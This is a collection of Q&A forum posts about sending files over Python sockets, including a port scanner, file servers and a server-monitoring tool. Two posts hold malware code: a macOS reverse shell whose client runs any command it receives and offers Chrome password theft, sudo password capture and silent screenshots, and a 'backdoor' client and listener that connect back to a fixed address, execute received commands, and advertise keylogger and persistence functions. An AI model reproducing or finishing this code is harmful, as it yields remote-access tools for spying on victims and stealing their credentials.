Im working on a reverse shell project and I am using Python3. I am currently working on sending files over a socket connection but I can not for the love of good get it to work :( I have search the web and all google links are purple, so I am trying my luck here now.
Every time I try to send the file over I either get connection lost or the file just simply dose not transfer right.
I have tried different types of ways to get the image source over. The best attempts yet have been when I decode the image source into base64 and send them over but I think the problem has to do with the recv(1024).
Server.py
##################################
# Server.py #
##################################
#Connect with remote target client
def send_target_commands(conn):
while True:
try:
cmd = input()
if cmd == 'quit':
break
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
client_respons = str(conn.recv(1024), "utf-8")
#Custom commands requiering server based actions
if client_respons.startswith('osx_screen_shot') == True:
screen = client_respons[15:] #Delete 'osx_screen_shot ' fomr the string
f = open('temp.png', 'wb')
while screen != bytes(''.encode()):
#print(data)
data_d = str(conn.recv(1024))
f.write(data_d)
else:
print(client_respons, end="")
except:
print("Connection was lost")
break
Client.py
##################################
# Client.py #
##################################
#====== Screen Shoot ======#
def osx_screen_shot():
os.system("export PATH=/bin:/usr/bin:/sbin:/usr/sbin")
os.system("screencapture -x /tmp/temp")
try:
with open("/tmp/temp", 'rb') as hoosh:
data = hoosh.read(1024)
s.send(data)
while data != bytes(''.encode()):
#print(data)
data = hoosh.read(1024)
s.send(data)
print(' File sent successfully.')
except:
return "Something went wrong"
#====== Listener =====#
while True:
data = s.recv(1024)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
current_dir = "\033[1;31m[\033[0;97m"+str(os.getcwd())+"\033[1;31m]\033[0;97m"
#Custom payload
if len(data) > 0:
if data == 'osx_menu':
string = help_menu()
s.send(str(string + current_dir) + ' ')
elif data == 'osx_chrome_pass':
passwords = function_chrome_decrypt()
s.send(str(passwords + current_dir) + ' ')
elif data[:2] == 'cd':
s.send(str(current_dir) + ' ')
elif data == 'osx_get_sudo_pass':
string = get_sudo_password()
s.send(str(string + current_dir) + ' ')
elif data == 'osx_screen_shot':
imgae_code = osx_screen_shot()
s.send(str(imgae_code))
elif data != '':
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str.decode(output_bytes)
s.send(str(output_str + current_dir) + ' ')
What I except from the code is to be able to send the image source code over a socket and get the image on the server computer
Related
My issue is that I have a ports.txt file in it has 4 port numbers. I wish for this program to scan all port numbers specified within the txt file. currently It will only scan the first port number listed in the txt file against the 40 odd IP addresses. I hope my formatting is correct and my detail is enough. ty
import socket
import os
import sys
from datetime import datetime
import win32evtlogutil
import win32evtlog
def main():
### call step 1 function
ipList = network_addr()
# call step 2 function
portList = read_ports()
print(portList)
#call step 3 function
for ip in ipList:
for port in portList:
scan_ports(ip,port)
# call step 4 function
report_to_EventViewer(ipList[0:10], 2) # warning
#report_to_EventViewer(ipList, 1) # error
# processing inputs
# Step 1: process input 1 (subnet or network address):
def network_addr():
while True:
ip_list = []
subnet_Addr = input('Enter a Class-C Network Address or subnet with format (x.x.x): ')
subnet = subnet_Addr.split('.') # subnet is a list of 3 items (octets)
try:
if (len(subnet)==3 and 192<=int(subnet[0])<=223 and 0<=int(subnet[1])<=255 and 0<=int(subnet[2])<=255):
#return subnet_Addr
print('valid subnet: ',subnet_Addr)
for ip in range(11,40,2):
ip_temp = subnet_Addr + '.' + str(ip)
ip_list.append(ip_temp)
return ip_list
else:
value = 'wrong subnet entered'
print(value)
except ValueError:
print('wrong subnet entered, octects must be digits')
# Step 2: process input 2 (read port numbers from ports.txt):
def read_ports():
with open("ports.txt", 'r') as file_path:
port_list = []
for port in file_path:
try:
if int(port) in port_list:
print(f'port: {port} already exists')
else:
port_list.append(int(port))
except:
print(f'the port number: {port} is not a valid integer')
return port_list
else:
print('ports.txt is empty \n .... Exiting Port Scan App')
sys.exit()
# Step 3: scan ports
def scan_ports(ip,port):
# to get and format system time
dateTimeObj = datetime.now()
timeStamp = dateTimeObj.strftime("%d-%b-%Y (%H:%M:%S)")
try:
# open log file
with open("ip_port_log.txt","+r") as log:
# create client socket
socket.setdefaulttimeout(0.1)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((ip,port))
if result == 0:
data = "IP:" + ip + ":" + str(port) + " Open " + timeStamp
# write_to_console or display on screen
print(data)
# write in log file
log.write(data + "\n")
else:
data = "IP:" + ip + ":" + str(port) + " Closed/Filtered or host is offline " + timeStamp
# write_to_console or display on screen
print(data)
# write in log file
log.write(data + "\n")
# close the client socket
sock.close()
except socket.error:
print("Can't connect to IP: ", ip)
sys.exit()
except KeyboardInterrupt:
print("User pressed Ctrl+c")
sys.exit()
# Step 4: Report to Event Viewer
# output 3
def report_to_EventViewer(mylist, eventtype):
IP_EVT_APP_NAME = " CheckIPPort - IP-Port Scan Application"
IP_EVT_ID = 7040 ##According to ???
IP_EVT_CATEG = 9876 ##According to ???
IP_EVT_TYPE = win32evtlog.EVENTLOG_WARNING_TYPE # WARNING=2
IP_EVT_ERR = win32evtlog.EVENTLOG_ERROR_TYPE # ERROR=1
IP_EVT_STRS = mylist
IP_EVT_DATA = b"Scan IP Address Event Data"
win32evtlogutil.ReportEvent(IP_EVT_APP_NAME, \
IP_EVT_ID, \
eventCategory=IP_EVT_CATEG, \
eventType=eventtype, \
strings=IP_EVT_STRS, \
data=IP_EVT_DATA)
main()
you issue is in your read_ports method, you return inside the loop so it will ALWAYS only read the first one. Rewrite the method to something like:
def read_ports():
with open("ports.txt", 'r') as file_path:
port_list = []
for port in file_path:
try:
if int(port) in port_list:
print(f'port: {port} already exists')
else:
port_list.append(int(port))
except:
print(f'the port number: {port} is not a valid integer')
if not len(port_list):
print('ports.txt is empty \n .... Exiting Port Scan App')
sys.exit()
return port_list
I am tryin to develop a script that works on the client machine sending information to the server and uploading&downloading to/from client machine. However, when I try to upload a file, I see in my server machine that the file is sending the file but the client doesn't receive and shows no error. uploading code worked properly before I implemented into my main code. Sorry if there is misunderstanding in my explanation i am new at stackoverflow.
every help is welcome X
import socket
from socket import *
import subprocess
import json
import os
import tqdm
path = 'C:\\Users\HP PC\Desktop'
SEPARATOR = "<SEPARATOR>"
BUFFER_SIZE = 4096
class Client:
def __init__(self, ip, port):
self.connection = socket(AF_INET, SOCK_STREAM)
self.connection.connect((ip, port))
def execute_system_command(self, command):
return subprocess.check_output(command, shell=True)
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data.encode())
def reliable_recv(self):
json_data = " "
while True:
try:
json_data = json_data + self.connection.recv(4096).decode('ISO-8859-1').strip()
return json.loads(json_data)
except ValueError:
continue
def change_working_directory_to(self, path):
os.chdir(path)
return "[+] Changing working directory to " + path
def down(self):
try:
received = self.connection.recv(BUFFER_SIZE).decode()
filename, filesize = received.split(SEPARATOR)
filename = os.path.basename(filename)
filesize = int(filesize)
progress = tqdm.tqdm(range(filesize), f"Receiving {filename}", unit="B", unit_scale=True, unit_divisor=1024)
with open(filename, "wb") as f:
while True:
bytes_read = self.connection.recv(BUFFER_SIZE)
if not bytes_read:
break
f.write(bytes_read)
progress.update(len(bytes_read))
except Exception as e:
print(e)
def run(self):
privilege = subprocess.check_output('whoami', shell=True)
self.connection.send(privilege)
while True:
command = self.reliable_recv()
if command[0] == "quit":
self.connection.close()
exit()
elif command[0] == "/help":
continue
elif command[0] == '/cls':
continue
elif command[0] == 'upload':
self.down()
continue
# elif command[:3] == "cd ":
# try:
# os.chdir(path)
# except OSError as e:
# print(e)
else:
command_result = self.execute_system_command(command)
self.reliable_send(command_result.decode("ISO-8859-1").strip())
my_backdoor = Client('192.168.8.105', 6543)
my_backdoor.run()
Here is the server code:
import json
import os
import socket
import tqdm
SEPARATOR = "<SEPARATOR>"
BUFFER_SIZE = 4096
class Listener:
def __init__(self, bind_ip, bind_port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((bind_ip, bind_port))
server.listen(0)
print("[*] Listening on ", str(bind_ip))
self.connection, addr = server.accept()
print("[*] Accepted connection from: %s:%d" % (addr[0], addr[1]))
receive = self.connection.recv(1024)
print("[+] This is " + receive.decode('ISO-8859-1'))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data.encode().strip())
def reliable_recv(self):
json_data = " "
while True:
try:
json_data = json_data + self.connection.recv(4096).decode('ISO-8859-1')
return json.loads(json_data)
except ValueError:
continue
def upload(self):
filename = "v.png"
filesize = os.path.getsize(filename)
# send the filename and filesize
self.connection.send(f"{filename}{SEPARATOR}{filesize}".encode())
# start sending the file
progress = tqdm.tqdm(range(filesize), f"Sending {filename}", unit="B", unit_scale=True, unit_divisor=1024)
with open(filename, "rb") as f:
while True:
# read the bytes from the file
bytes_read = f.read(BUFFER_SIZE)
if not bytes_read:
# file transmitting is done
break
# we use sendall to assure transimission in
# busy networks
self.connection.sendall(bytes_read)
# update the progress bar
progress.update(len(bytes_read))
def run_command(self):
while True:
command = input(">")
command = command.split(" ")
if command[0] == "quit":
self.connection.close()
exit()
elif command[0] == "/help":
print('''
quit => Quit the sessison
clear => Clear the screen
cd *dirname => Change directory on target machine
upload *filename =>Upload file to target machine
download *filename =>Download file from target machine
key_start =>Start the keylogger
key_dump =>Print the keystrokes target prompted
key_stop =>Stop and self destruct keylogger file
persistance *RegName* *filename =>Persistance in reboot
''')
continue
elif command[:3] == 'cd ':
pass
elif command[0] == 'upload':
self.upload()
continue
elif command[0] == '/cls':
os.system('cls')
continue
self.reliable_send(command)
result = self.reliable_recv()
print(result)
my_listener = Listener('192.168.8.105', 6543)
my_listener.run_command()
it doesnt show any errors and rest of the code is working properly.
Upload and download functions worked properly when I tried to test
but didnt work when i tried to implement into my main code
Started to implement this project in C++, however I figured Python would be a better choice going forward for x-platform.
Goal here is to create a simple file server and then create a client. Client should be able to upload files to the server and download files from the server.
My code for the client is:
import socket
def Main():
host = '127.0.0.1'
port = 5000
s = socket.socket()
s.connect((host,port))
choice = raw_input("Upload or Download? (u/d):")
if choice == 'd':
filename = raw_input("File to Download? (q to quit): ")
if filename != 'q':
s.send(filename)
data = s.recv(1024)
if data[:6] == "EXISTS":
filesize = long(data[6:])
message = raw_input("File found on the server!," +str(filesize)+"bytes, continue with download? y/n:")
if message == "y":
s.send('OK')
f = open('new_'+filename, 'wb')
data = s.recv(1024)
totalRecv = len(data)
f.write(data)
while totalRecv < filesize:
data = s.recv(1024)
totalRecv += len(data)
f.write(data)
print ("Percentage Completed: "+"{0:.2f}".format((totalRecv/float(filesize))*100))
print ("File has been Downloaded!")
else:
print ("File doesnt exist!")
else:
filename = raw_input("File to Upload? (q to quit): ")
# if filename != 'q':
print ("Upload Function Coming Soon")
s.close()
if __name__ == '__main__':
Main()
The code for the server is:
import socket
import threading
import os
def RetrFile(name, sock):
filename = sock.recv(1024)
if os.path.isfile(filename):
sock.send("EXISTS" + str(os.path.getsize(filename)))
userResponse = sock.recv(1024)
if userResponse[:2] == 'OK':
with open(filename, 'rb') as f:
bytesToSend = f.read(1024)
sock.send(bytesToSend)
while bytesToSend != "":
bytesToSend = f.read(1024)
sock.send(bytesToSend)
else:
sock.send("ERR")
sock.close()
def Main():
host = "127.0.0.1"
port = 5000
s = socket.socket()
s.bind((host,port))
s.listen(5)
print ("Server Started")
while True:
c, addr = s.accept()
print ("Client Connected:") + str(addr) + ">"
t = threading.Thread(target=RetrFile, args=("retrThread", c))
t.start()
s.close()
if __name__ == '__main__':
Main()
I have it just fine for the download of the file, and thinking about it, I should be able to just reverse process for the upload portion of the client (instead of fetch the download, I basically copy the server part to perform the upload)...however I just cant seem to wrap my head around how to do so. I'm not worried at this point over the hard coded port etc---will fix that later, however does anyone have any suggestions going forward with this?
I need to emphasize that I am using python < v3 (I know--its old) however its a program limitation that I need to adhere to (hence the raw_input() v. input())
I'm developing a server monitoring utility in Python that I want to work on everything from macOS to Haiku. It's split into a client that connects to and queries multiple servers. Right now I'm testing the client on a macOS host with the server running on Debian in a Parallels VM. However, I didn't commit the new changes I made that did work to GitHub, and then made some changes that broke the whole thing. I'm only going to include the parts of my code that are relevant.
This is from the client.
def getServerInfoByName(serverName):
serverIndex = serverNames.index(serverName)
serverAddress = serverAddressList[serverIndex]
serverPort = serverPorts[serverIndex]
serverUsername = serverUsernames[serverIndex]
return serverAddress, serverPort, serverUsername
for server in serverNames:
try:
if server != None:
serverInfo = getServerInfoByName(server)
exec(server + "Socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)")
exec(server + "Socket.connect(('" + serverInfo[0] + "', " + serverInfo[1] + "))")
except ConnectionRefusedError:
print("Could not establish a connection to " + server + ".")
print(divider)
sys.exit()
def clientLoop():
sys.stdout.write(termcolors.BLUE + "-> " + termcolors.ENDC)
commandInput = input()
splitCommand = commandInput.split(' ')
whichServer = splitCommand[0]
if splitCommand[0] == "exit":
sys.exit()
# Insert new one word client commands here
elif len(splitCommand) < 2:
print("Not enough arguments")
print(divider)
clientLoop()
elif splitCommand[1] == "ssh":
serverInfo = getServerInfoByName(whichServer)
os.system("ssh " + serverInfo[2] + "#" + serverInfo[0])
print(divider)
clientLoop()
# Insert new external commands above here (if any, perhaps FTP in the
# future).
# NOTE: Must be recursive or else we'll crash with an IndexError
# TODO: Possibly just catch the exception and use that to restart the
# function
else:
whichServer = splitCommand[0]
commandToServer = splitCommand[1]
exec(whichServer + "Socket.send(commandToServer.encode('utf-8'))")
response = exec(whichServer + "Socket.recv(1024)")
print(response.decode('utf-8'))
print(divider)
clientLoop()
clientLoop()
And this is from the server.
### Start the server
try:
incomingSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
incomingSocket.bind((address, port))
except OSError:
print("The configured address is already in use.")
print("The problem should solve itself in a few seconds.")
print("Otherwise, make sure no other services are using")
print("the configured address.")
sys.exit()
incomingSocket.listen(1)
### Main loop for the server
while True:
clientSocket, clientAddress = incomingSocket.accept()
incomingCommand = clientSocket.recv(1024)
command = incomingCommand.decode('utf-8')
if command != None:
if command == "os":
clientSocket.send(osinfo[0].encode('utf-8'))
elif command == "hostname":
clientSocket.send(osinfo[1].encode('utf-8'))
elif command == "kernel":
clientSocket.send(osinfo[2].encode('utf-8'))
elif command == "arch":
clientSocket.send(osinfo[3].encode('utf-8'))
elif command == "cpu":
cpuOverall = getOverall()
cpuOverallMessage = "Overall CPU usage: " + str(cpuOverall) + "%"
clientSocket.send(cpuOverallMessage.encode('utf-8'))
elif command == "stopserver":
incomingSocket.close()
clientSocket.close()
sys.exit()
else:
clientSocket.send("Invalid command".encode('utf-8'))
Any time I try to send a command to the server, the client crashes with AttributeError: 'NoneType' object has no attribute 'decode' as soon as it tries to decode the response from the server. Eventually I want to encrypt the sockets with AES but I can't do that if it doesn't even work in plain text.
exec does not return anything. You should not generate variable names with exec but use dictionaries to store the sockets.
servers = {}
for name, address, port, username in zip(serverNames, serverAddressList, serverPorts, serverUsernames):
try:
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.connect((address, port))
servers[name] = server, address, port, username
except ConnectionRefusedError:
print("Could not establish a connection to {}.".format(name))
print(divider)
sys.exit()
def client_loop():
while True:
sys.stdout.write("{}-> {}".format(termcolors.BLUE,termcolors.ENDC))
command = input().split()
which_server = command[0]
if which_server == "exit":
break
elif len(command) < 2:
print("Not enough arguments")
print(divider)
elif command[1] == "ssh":
_, address, _, username = servers[which_server]
os.system("ssh {}#{}".format(username, address))
print(divider)
else:
server = servers[which_server][0]
server.sendall(command[1].encode('utf-8'))
response = server.recv(1024)
print(response.decode('utf-8'))
print(divider)
client_loop()
I'm trying to send and receive files through a TCP socket. When user types put abc.txt, abc.txt should be copied to the server.
When user types get def.txt, def.txt should be downloaded to the user computer. (Actually I have to implement 2 more methods - ls to list all files in the client directory and lls to list all files in the server, but I haven't done it yet.)
Here's the code
Server
import socket
import sys
HOST = 'localhost'
PORT = 3820
socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.bind((HOST, PORT))
socket.listen(1)
while (1):
conn, addr = socket.accept()
print 'New client connected ..'
reqCommand = conn.recv(1024)
print 'Client> %s' %(reqCommand)
if (reqCommand == 'quit'):
break
#elif (reqCommand == lls):
#list file in server directory
else:
string = reqCommand.split(' ', 1) #in case of 'put' and 'get' method
reqFile = string[1]
if (string[0] == 'put'):
with open(reqFile, 'wb') as file_to_write:
while True:
data = conn.recv(1024)
if not data:
break
file_to_write.write(data)
file_to_write.close()
break
print 'Receive Successful'
elif (string[0] == 'get'):
with open(reqFile, 'rb') as file_to_send:
for data in file_to_send:
conn.sendall(data)
print 'Send Successful'
conn.close()
socket.close()
Client
import socket
import sys
HOST = 'localhost' #server name goes in here
PORT = 3820
def put(commandName):
socket.send(commandName)
string = commandName.split(' ', 1)
inputFile = string[1]
with open(inputFile, 'rb') as file_to_send:
for data in file_to_send:
socket.sendall(data)
print 'PUT Successful'
return
def get(commandName):
socket.send(commandName)
string = commandName.split(' ', 1)
inputFile = string[1]
with open(inputFile, 'wb') as file_to_write:
while True:
data = socket.recv(1024)
#print data
if not data:
break
print data
file_to_write.write(data)
file_to_write.close()
break
print 'GET Successful'
return
socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket.connect((HOST,PORT))
msg = raw_input('Enter your name: ')
while(1):
print 'Instruction'
print '"put [filename]" to send the file the server '
print '"get [filename]" to download the file from the server '
print '"ls" to list all files in this directory'
print '"lls" to list all files in the server'
print '"quit" to exit'
sys.stdout.write ('%s> ' %msg)
inputCommand = sys.stdin.readline().strip()
if (inputCommand == 'quit'):
socket.send('quit')
break
# elif (inputCommand == 'ls')
# elif (inputCommand == 'lls')
else:
string = inputCommand.split(' ', 1)
if (string[0] == 'put'):
put(inputCommand)
elif (string[0] == 'get'):
get(inputCommand)
socket.close()
There are several problems that I couldn't fix.
The program run correctly only on the first time (both 'put' and
'get' method). After that, All commands from the client can't be
sent to the server.
The 'get' method doesn't work for an image/photo file.
First problem is occurring because after handling one command, server is closing the connection.
conn.close()
Second problem is occurring because you are not reading all the data from the socket in client. At the end of while loop you have a "break" statement, due to which client is closing the socket just after reading 1024 bytes. And when server tries to send data on this close socket, its results in error on the server side.
while True:
data = socket1.recv(1024)
# print data
if not data:
break
# print data
file_to_write.write(data)
file_to_write.close()
break
There are two ways to fix this first issue.
Change the client so that for each command it creates a new connection & sends command to the server.
Change the server to handle multiple commands over the same connection.
Following code is the changed client to demonstrate the first way to fix the first issue. It also fixes the second issue.
import socket
import sys
HOST = 'localhost' # server name goes in here
PORT = 3820
def put(commandName):
socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket1.connect((HOST, PORT))
socket1.send(commandName)
string = commandName.split(' ', 1)
inputFile = string[1]
with open(inputFile, 'rb') as file_to_send:
for data in file_to_send:
socket1.sendall(data)
print 'PUT Successful'
socket1.close()
return
def get(commandName):
socket1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket1.connect((HOST, PORT))
socket1.send(commandName)
string = commandName.split(' ', 1)
inputFile = string[1]
with open(inputFile, 'wb') as file_to_write:
while True:
data = socket1.recv(1024)
# print data
if not data:
break
# print data
file_to_write.write(data)
file_to_write.close()
print 'GET Successful'
socket1.close()
return
msg = raw_input('Enter your name: ')
while(1):
print 'Instruction'
print '"put [filename]" to send the file the server '
print '"get [filename]" to download the file from the server '
print '"ls" to list all files in this directory'
print '"lls" to list all files in the server'
print '"quit" to exit'
sys.stdout.write('%s> ' % msg)
inputCommand = sys.stdin.readline().strip()
if (inputCommand == 'quit'):
socket.send('quit')
break
# elif (inputCommand == 'ls')
# elif (inputCommand == 'lls')
else:
string = inputCommand.split(' ', 1)
if (string[0] == 'put'):
put(inputCommand)
elif (string[0] == 'get'):
get(inputCommand)